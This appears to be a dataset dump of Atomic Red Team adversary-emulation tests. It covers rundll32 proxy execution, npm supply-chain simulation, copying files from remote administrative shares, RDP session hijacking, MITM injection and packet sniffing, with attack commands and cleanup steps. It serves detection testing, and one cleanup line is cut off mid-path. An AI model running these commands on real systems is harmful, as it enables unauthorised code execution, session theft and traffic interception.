deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1218.011: Signed Binary Proxy Execution: Rundll32
Test: Rundll32 execute VBscript command using Ordinal number
Platforms: windows
Executor: command_prompt

Description:
Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.
Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/
Upon execution calc.exe will be launched


Command:
rundll32 vbscript:"\..\mshtml,#135 "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0)
Atomic Red Team — T1218.011: Signed Binary Proxy Execution: Rundll32
Test: Rundll32 advpack.dll Execution
Platforms: windows
Executor: command_prompt

Description:
Test execution of a command using rundll32.exe with advpack.dll.
Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Advpack.yml
Upon execution calc.exe will be launched


Command:
rundll32.exe advpack.dll,LaunchINFSection "#{inf_to_execute}",DefaultInstall_SingleUser,1,


Dependencies:
Inf file must exist on disk at specified location ("#{inf_to_execute}")
Atomic Red Team — T1218.011: Signed Binary Proxy Execution: Rundll32
Test: Rundll32 ieadvpack.dll Execution
Platforms: windows
Executor: command_prompt

Description:
Test execution of a command using rundll32.exe with ieadvpack.dll.
Upon execution calc.exe will be launched

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Ieadvpack.yml


Command:
rundll32.exe ieadvpack.dll,LaunchINFSection "#{inf_to_execute}",DefaultInstall_SingleUser,1,


Dependencies:
Inf file must exist on disk at specified location ("#{inf_to_execute}")
Atomic Red Team — T1218.011: Signed Binary Proxy Execution: Rundll32
Test: Rundll32 syssetup.dll Execution
Platforms: windows
Executor: command_prompt

Description:
Test execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying "installation failed" will be opened

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Syssetup.yml


Command:
rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 "#{inf_to_execute}"


Dependencies:
Inf file must exist on disk at specified location ("#{inf_to_execute}")
Atomic Red Team — T1218.011: Signed Binary Proxy Execution: Rundll32
Test: Rundll32 setupapi.dll Execution
Platforms: windows
Executor: command_prompt

Description:
Test execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying "installation failed" will be opened

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Setupapi.yml


Command:
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 "#{inf_to_execute}"


Dependencies:
Inf file must exist on disk at specified location ("#{inf_to_execute}")
Atomic Red Team — T1218.011: Signed Binary Proxy Execution: Rundll32
Test: Execution of HTA and VBS Files using Rundll32 and URL.dll
Platforms: windows
Executor: command_prompt

Description:
IcedID uses this TTP as follows:
  rundll32.exe url.dll,OpenURL %PUBLIC%\index.hta
Trickbot uses this TTP as follows:
  rundll32.exe URL.dll,FileProtocolHandler C:\\..\\Detail\\akteullen.vbs

In this atomic, the sample hta file opens the calculator and the vbs file shows a message dialog with "rundll32 spawned wscript"


Command:
rundll32.exe url.dll,OpenURL "PathToAtomicsFolder\T1218.011\src\index.hta"
rundll32.exe URL.dll,FileProtocolHandler "PathToAtomicsFolder\T1218.011\src\akteullen.vbs"
Atomic Red Team — T1218.011: Signed Binary Proxy Execution: Rundll32
Test: Launches an executable using Rundll32 and pcwutl.dll
Platforms: windows
Executor: command_prompt

Description:
Executes the LaunchApplication function in pcwutl.dll to proxy execution of an executable.


Command:
rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}
Atomic Red Team — T1218.011: Signed Binary Proxy Execution: Rundll32
Test: Execution of non-dll using rundll32.exe
Platforms: windows
Executor: powershell

Description:
Rundll32.exe running non-dll 


Command:
rundll32.exe #{input_file}, StartW


Dependencies:
Non-dll file must exist on disk at specified location
Atomic Red Team — T1218.011: Signed Binary Proxy Execution: Rundll32
Test: Rundll32 with Ordinal Value
Platforms: windows
Executor: command_prompt

Description:
Rundll32.exe loading dll using ordinal value #2 to DLLRegisterServer. 
Upon successful execution, Calc.exe will spawn.


Command:
rundll32.exe "#{input_file}",#2


Dependencies:
DLL file must exist on disk at specified location
Atomic Red Team — T1218.011: Signed Binary Proxy Execution: Rundll32
Test: Rundll32 with Control_RunDLL
Platforms: windows
Executor: command_prompt

Description:
Rundll32.exe loading dll with 'control_rundll' within the command-line, loading a .cpl or another file type related to CVE-2021-40444. 


Command:
rundll32.exe shell32.dll,Control_RunDLL "#{input_file}"


Dependencies:
DLL file must exist on disk at specified location
Atomic Red Team — T1218.011: Signed Binary Proxy Execution: Rundll32
Test: Rundll32 with desk.cpl
Platforms: windows
Executor: command_prompt

Description:
Rundll32.exe loading an executable renamed as .scr using desk.cpl 
Reference: 
  - [LOLBAS - Libraries/Desk](https://lolbas-project.github.io/lolbas/Libraries/Desk/)
SIGMA rules:
  - [SCR File Write Event](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/file_event/file_event_win_new_src_file.yml)
  - [Rundll32 InstallScreenSaver Execution](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml)


Command:
copy #{exe_to_launch} not_an_scr.scr
rundll32.exe desk.cpl,InstallScreenSaver not_an_scr.scr


Cleanup:
del not_an_scr.scr
Atomic Red Team — T1218.011: Signed Binary Proxy Execution: Rundll32
Test: Running DLL with .init extension and function
Platforms: windows
Executor: command_prompt

Description:
This test, based on common Gamarue tradecraft, consists of a DLL file with a .init extension being run by rundll32.exe. When this DLL file's 'krnl' function is called, it launches a Windows pop-up.
DLL created with the AtomicTestHarnesses Portable Executable Builder script.


Command:
rundll32.exe #{dll_file},krnl


Dependencies:
The DLL file to be called must exist at the specified location (#{dll_file})
Atomic Red Team — T1218.011: Signed Binary Proxy Execution: Rundll32
Test: Rundll32 execute command via FileProtocolHandler
Platforms: windows
Executor: command_prompt

Description:
Test execution of a command using rundll32.exe and the FileProtocolHandler technique.
Upon execution, calc.exe will be launched.
This technique is documented by Levan Abesadze - https://medium.com/@Wolverineisstillalive/system-binary-proxy-execution-rundll32-bypass-method-790871e1f2b7


Command:
rundll32.exe url.dll,FileProtocolHandler #{command_to_execute}
Atomic Red Team — T1218.011: Signed Binary Proxy Execution: Rundll32
Test: Rundll32 execute payload by calling RouteTheCall
Platforms: windows
Executor: powershell

Description:
Launch an executable payload by calling RouteTheCall. Test execution of a command using rundll32.exe to execute a payload{calc.exe} by calling RouteTheCall. Upon execution, calc.exe will be launched.
Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Zipfldr.yml


Command:
rundll32.exe zipfldr.dll,RouteTheCall "#{exe_to_launch}"
Atomic Red Team — T1195.002: Compromise Software Supply Chain
Test: Simulate npm package installation on a Linux system
Platforms: containers, linux
Executor: bash

Description:
Launches a short‑lived Kubernetes pod using the Node 18 image, initializes a minimal npm project in /tmp/test, and installs the specified npm package without audit/fund/package‑lock options, simulating potentially suspicious package retrieval (e.g., typosquatting/dependency confusion) from within a container. The pod is deleted after execution.


Command:
kubectl run #{pod_name} --image=#{image_name} --restart=Never --attach --rm -i -- bash -lc "mkdir -p /tmp/test && cd /tmp/test && npm init -y >/dev/null 2>&1 && echo '--- package.json before install ---' && cat package.json && npm install #{package_name} --no-audit --no-fund --no-package-lock && echo '--- package.json after install ---' && cat package.json"


Dependencies:
kubectl must be installed and configured
# T1195.002 - Compromise Software Supply Chain

## Description from ATT&CK

> Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.
> 
> Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011)

[Source](https://attack.mitre.org/techniques/T1195/002)

## Atomic Tests

- [Atomic Test #1: Simulate npm package installation on a Linux system](#atomic-test-1-simulate-npm-package-installation-on-a-linux-system)

### Atomic Test #1: Simulate npm package installation on a Linux system

Launches a short‑lived Kubernetes pod using the Node 18 image, initializes a minimal npm project in /tmp/test, and installs the specified npm package without audit/fund/package‑lock options, simulating potentially suspicious package retrieval (e.g., typosquatting/dependency confusion) from within a container. The pod is deleted after execution.

**Supported Platforms:** Containers, Linux

**auto_generated_guid:** `a9604672-cd46-493b-b58f-fd4124c22dd3`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| image_name | Name of the image | string | node:18|
| pod_name | Name of the pod | string | atomic-npm-install|
| package_name | NPM package to install | string | tinycolor|

#### Attack Commands: Run with `bash`!

```bash
kubectl run #{pod_name} --image=#{image_name} --restart=Never --attach --rm -i -- bash -lc "mkdir -p /tmp/test && cd /tmp/test && npm init -y >/dev/null 2>&1 && echo '--- package.json before install ---' && cat package.json && npm install #{package_name} --no-audit --no-fund --no-package-lock && echo '--- package.json after install ---' && cat package.json"
```


#### Dependencies: Run with `bash`!

##### Description: kubectl must be installed and configured

###### Check Prereq Commands

```bash
which kubectl
```

###### Get Prereq Commands

```bash
echo "kubectl must be installed"
```
Atomic Red Team — T1039: Data from Network Shared Drive
Test: Copy a sensitive File over Administrative share with copy
Platforms: windows
Executor: command_prompt

Description:
Copy from sensitive File from the c$ of another LAN computer with copy cmd
https://twitter.com/SBousseaden/status/[PII_REDACTED]86339073

Command:
copy \\#{remote}\C$\#{share_file} %TEMP%\#{local_file}

Cleanup:
del \\#{remote}\C$\#{share_file}
del %TEMP%\#{local_file}

Dependencies:
Administrative share must exist on #{remote}

"\\#{remote}\C$\#{share_file}" must exist on #{remote}
Atomic Red Team — T1039: Data from Network Shared Drive
Test: Copy a sensitive File over Administrative share with Powershell
Platforms: windows
Executor: powershell

Description:
Copy from sensitive File from the c$ of another LAN computer with powershell
https://twitter.com/SBousseaden/status/[PII_REDACTED]86339073

Command:
copy-item -Path "\\#{remote}\C$\#{share_file}" -Destination "$Env:TEMP\#{local_file}"

Cleanup:
Remove-Item -Path "\\#{remote}\C$\#{share_file}"
Remove-Item -Path "$Env:TEMP\#{local_file}"

Dependencies:
Administrative share must exist on #{remote}

"\\#{remote}\C$\#{share_file}" must exist on #{remote}
Atomic Red Team — T1659: Content Injection
Test: MITM Proxy Injection
Platforms: macos, linux
Executor: bash

Description:
Start mitmdump and verify injected header and HTML content.

Command:
curl -skI --proxy http://127.0.0.1:8080 http://example.com > /tmp/curl_out.txt
grep "X-Atomic" /tmp/curl_out.txt || (cat /tmp/curl_out.txt && exit 1)
curl -sk --proxy http://127.0.0.1:8080 http://example.com > /tmp/atomic_t1659_page.html
grep -q "Atomic T1659 Injection" /tmp/atomic_t1659_page.html || (head -20 /tmp/atomic_t1659_page.html; exit 1)


Cleanup:
rm -rf /tmp/atomic_t1659_inject.py
rm -rf /tmp/atomic_t1659.log
rm -rf /tmp/curl_out.txt
rm -rf /tmp/atomic_t1659_page.html
pkill -f mitmdump || true


Dependencies:
python3 must be installed
curl must be installed
pipx must be installed
Atomic Red Team — T1659: Content Injection
Test: MITM Proxy Injection (Windows)
Platforms: windows
Executor: powershell

Description:
Start mitmdump proxy with injection script in the background.

Command:
curl.exe -skI --proxy http://127.0.0.1:8080 http://example.com | Tee-Object -FilePath "$env:TEMP\curl_out.txt"
if (-not (Select-String -Path "$env:TEMP\curl_out.txt" -Pattern "X-Atomic")) { Write-Error "Header not found"; exit 1 }
$OutPath = "$env:TEMP\atomic_t1659_page.html"
curl.exe -sk --proxy http://127.0.0.1:8080 http://example.com | Out-File -FilePath $OutPath -Encoding utf8
$Content = Get-Content -Path $OutPath -Raw
if ($Content -notmatch "Atomic T1659 Injection") { exit 1 }


Cleanup:
Stop-Process -Name "mitmdump" -ErrorAction SilentlyContinue
Remove-Item "$env:TEMP\atomic_t1659_inject.py" -ErrorAction SilentlyContinue
Remove-Item "$env:TEMP\atomic_t1659.log" -ErrorAction SilentlyContinue
Remove-Item "$env:TEMP\curl_out.txt" -ErrorAction SilentlyContinue
Remove-Item "$env:TEMP\at

Dependencies:
Python must be installed
curl must be installed
mitmproxy must be installed and in PATH
Atomic Red Team — T1563.002: Remote Service Session Hijacking: RDP Hijacking
Test: RDP hijacking
Platforms: windows
Executor: command_prompt

Description:
[RDP hijacking](https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6) - how to hijack RDS and RemoteApp sessions transparently to move through an organization


Command:
query user
sc.exe create sesshijack binpath= "cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}"
net start sesshijack


Cleanup:
sc.exe delete sesshijack >nul 2>&1
# T1563.002 - Remote Service Session Hijacking: RDP Hijacking

## Description from ATT&CK

> Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)
> 
> Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\windows\system32\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)

[Source](https://attack.mitre.org/techniques/T1563/002)

## Atomic Tests

- [Atomic Test #1: RDP hijacking](#atomic-test-1-rdp-hijacking)

### Atomic Test #1: RDP hijacking

[RDP hijacking](https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6) - how to hijack RDS and RemoteApp sessions transparently to move through an organization

**Supported Platforms:** Windows

**auto_generated_guid:** `a37ac520-b911-458e-8aed-c5f1576d9f46`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| Session_ID | The ID of the session to which you want to connect | string | 1337|
| Destination_ID | Connect the session of another user to a different session | string | rdp-tcp#55|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
query user
sc.exe create sesshijack binpath= "cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}"
net start sesshijack
```

#### Cleanup Commands

```cmd
sc.exe delete sesshijack >nul 2>&1
```
Atomic Red Team — T1040: Network Sniffing
Test: Packet Capture Linux using tshark or tcpdump
Platforms: linux
Executor: bash

Description:
Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed.

Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33.


Command:
tcpdump -c 5 -nnni #{interface}
tshark -c 5 -i #{interface}


Dependencies:
Check if at least one of tcpdump or tshark is installed.
Atomic Red Team — T1040: Network Sniffing
Test: Packet Capture FreeBSD using tshark or tcpdump
Platforms: linux
Executor: sh

Description:
Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed.

Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33.


Command:
tcpdump -c 5 -nnni #{interface}
tshark -c 5 -i #{interface}


Dependencies:
Check if at least one of tcpdump or tshark is installed.
Atomic Red Team — T1040: Network Sniffing
Test: Packet Capture macOS using tcpdump or tshark
Platforms: macos
Executor: bash

Description:
Perform a PCAP on macOS. This will require Wireshark/tshark to be installed. TCPdump may already be installed.

Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface en0A.


Command:
sudo tcpdump -c 5 -nnni #{interface}    
if [ -x "$(command -v tshark)" ]; then sudo tshark -c 5 -i #{interface}; fi;


Dependencies:
Check if at least one of tcpdump or tshark is installed.
Atomic Red Team — T1040: Network Sniffing
Test: Packet Capture Windows Command Prompt
Platforms: windows
Executor: command_prompt

Description:
Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark
installed.

Upon successful execution, tshark will execute and capture 5 packets on interface "Ethernet".


Command:
"c:\Program Files\Wireshark\tshark.exe" -i #{interface} -c 5


Dependencies:
tshark must be installed and in the default path of "c:\Program Files\Wireshark\Tshark.exe".

npcap must be installed.
Atomic Red Team — T1040: Network Sniffing
Test: Windows Internal Packet Capture
Platforms: windows
Executor: command_prompt

Description:
Uses the built-in Windows packet capture
After execution you should find a file named trace.etl and trace.cab in the temp directory

Command:
netsh trace start capture=yes tracefile=%temp%\trace.etl maxsize=10

Cleanup:
netsh trace stop >nul 2>&1
TIMEOUT /T 5 >nul 2>&1
del %temp%\trace.etl >nul 2>&1
del %temp%\trace.cab >nul 2>&1
Atomic Red Team — T1040: Network Sniffing
Test: Windows Internal pktmon capture
Platforms: windows
Executor: command_prompt

Description:
Will start a packet capture and store log file as t1040.etl.
https://lolbas-project.github.io/lolbas/Binaries/Pktmon/

Command:
pktmon.exe start --etw  -f %TEMP%\t1040.etl
TIMEOUT /T 5 >nul 2>&1
pktmon.exe stop


Cleanup:
del %TEMP%\t1040.etl
Atomic Red Team — T1040: Network Sniffing
Test: Windows Internal pktmon set filter
Platforms: windows
Executor: command_prompt

Description:
Select Desired ports for packet capture 
https://lolbas-project.github.io/lolbas/Binaries/Pktmon/

Command:
pktmon.exe filter add -p 445


Cleanup:
pktmon filter remove
Atomic Red Team — T1040: Network Sniffing
Test: Packet Capture macOS using /dev/bpfN with sudo
Platforms: macos
Executor: bash

Description:
Opens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds.


Command:
sudo #{program_path} -i #{ifname} -t 3


Cleanup:
rm -f #{program_path}


Dependencies:
compile C program
Atomic Red Team — T1040: Network Sniffing
Test: Filtered Packet Capture macOS using /dev/bpfN with sudo
Platforms: macos
Executor: bash

Description:
Opens a /dev/bpf file (O_RDONLY), sets BPF filter for 'udp' and captures packets for a few seconds.


Command:
sudo #{program_path} -f -i #{ifname} -t 3


Cleanup:
rm -f #{program_path}


Dependencies:
compile C program
Atomic Red Team — T1040: Network Sniffing
Test: Packet Capture FreeBSD using /dev/bpfN with sudo
Platforms: linux
Executor: sh

Description:
Opens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds.


Command:
sudo #{program_path} -i #{ifname} -t 3


Cleanup:
rm -f #{program_path}


Dependencies:
compile C program
Atomic Red Team — T1040: Network Sniffing
Test: Filtered Packet Capture FreeBSD using /dev/bpfN with sudo
Platforms: linux
Executor: sh

Description:
Opens a /dev/bpf file (O_RDONLY), sets BPF filter for 'udp' and captures packets for a few seconds.


Command:
sudo #{program_path} -f -i #{ifname} -t 3


Cleanup:
rm -f #{program_path}


Dependencies:
compile C program
Atomic Red Team — T1040: Network Sniffing
Test: Packet Capture Linux socket AF_PACKET,SOCK_RAW with sudo
Platforms: linux
Executor: bash

Description:
Captures packets with domain=AF_PACKET, type=SOCK_RAW for a few seconds.


Command:
sudo #{program_path} -a -t 3


Cleanup:
rm -f #{program_path}


Dependencies:
compile C program
Atomic Red Team — T1040: Network Sniffing
Test: Packet Capture Linux socket AF_INET,SOCK_RAW,TCP with sudo
Platforms: linux
Executor: bash

Description:
Captures packets with domain=AF_INET,type=SOCK_RAW,protocol=TCP for a few seconds.


Command:
sudo #{program_path} -4 -p 6 -t 3


Cleanup:
rm -f #{program_path}


Dependencies:
compile C program
Atomic Red Team — T1040: Network Sniffing
Test: Packet Capture Linux socket AF_INET,SOCK_PACKET,UDP with sudo
Platforms: linux
Executor: bash

Description:
Captures packets with domain=AF_INET,type=SOCK_PACKET,protocol=UDP for a few seconds.
SOCK_PACKET is "obsolete" according to the man page, but still works on Ubuntu 20.04


Command:
sudo #{program_path} -4 -P -p 17 -t 3


Cleanup:
rm -f #{program_path}


Dependencies:
compile C program
Atomic Red Team — T1040: Network Sniffing
Test: Packet Capture Linux socket AF_PACKET,SOCK_RAW with BPF filter for UDP with sudo
Platforms: linux
Executor: bash

Description:
Captures packets with domain=AF_PACKET,type=SOCK_RAW for a few seconds.
Sets a BPF filter on the socket to filter for UDP traffic.


Command:
sudo #{program_path} -a -f -t 3


Cleanup:
rm -f #{program_path}


Dependencies:
compile C program
Atomic Red Team — T1040: Network Sniffing
Test: PowerShell Network Sniffing
Platforms: windows
Executor: powershell

Description:
PowerShell Built-in Cmdlets to capture network traffic.
https://learn.microsoft.com/en-us/powershell/module/neteventpacketcapture/new-neteventsession?view=windowsserver2022-ps

Command:
New-NetEventSession -Name Capture007 -LocalFilePath "$ENV:Temp\sniff.etl"
Add-NetEventPacketCaptureProvider -SessionName Capture007 -TruncationLength 100
Start-NetEventSession -Name Capture007
Stop-NetEventSession -Name Capture007
Remove-NetEventSession -Name Capture007


Cleanup:
del $ENV:Temp\sniff.etl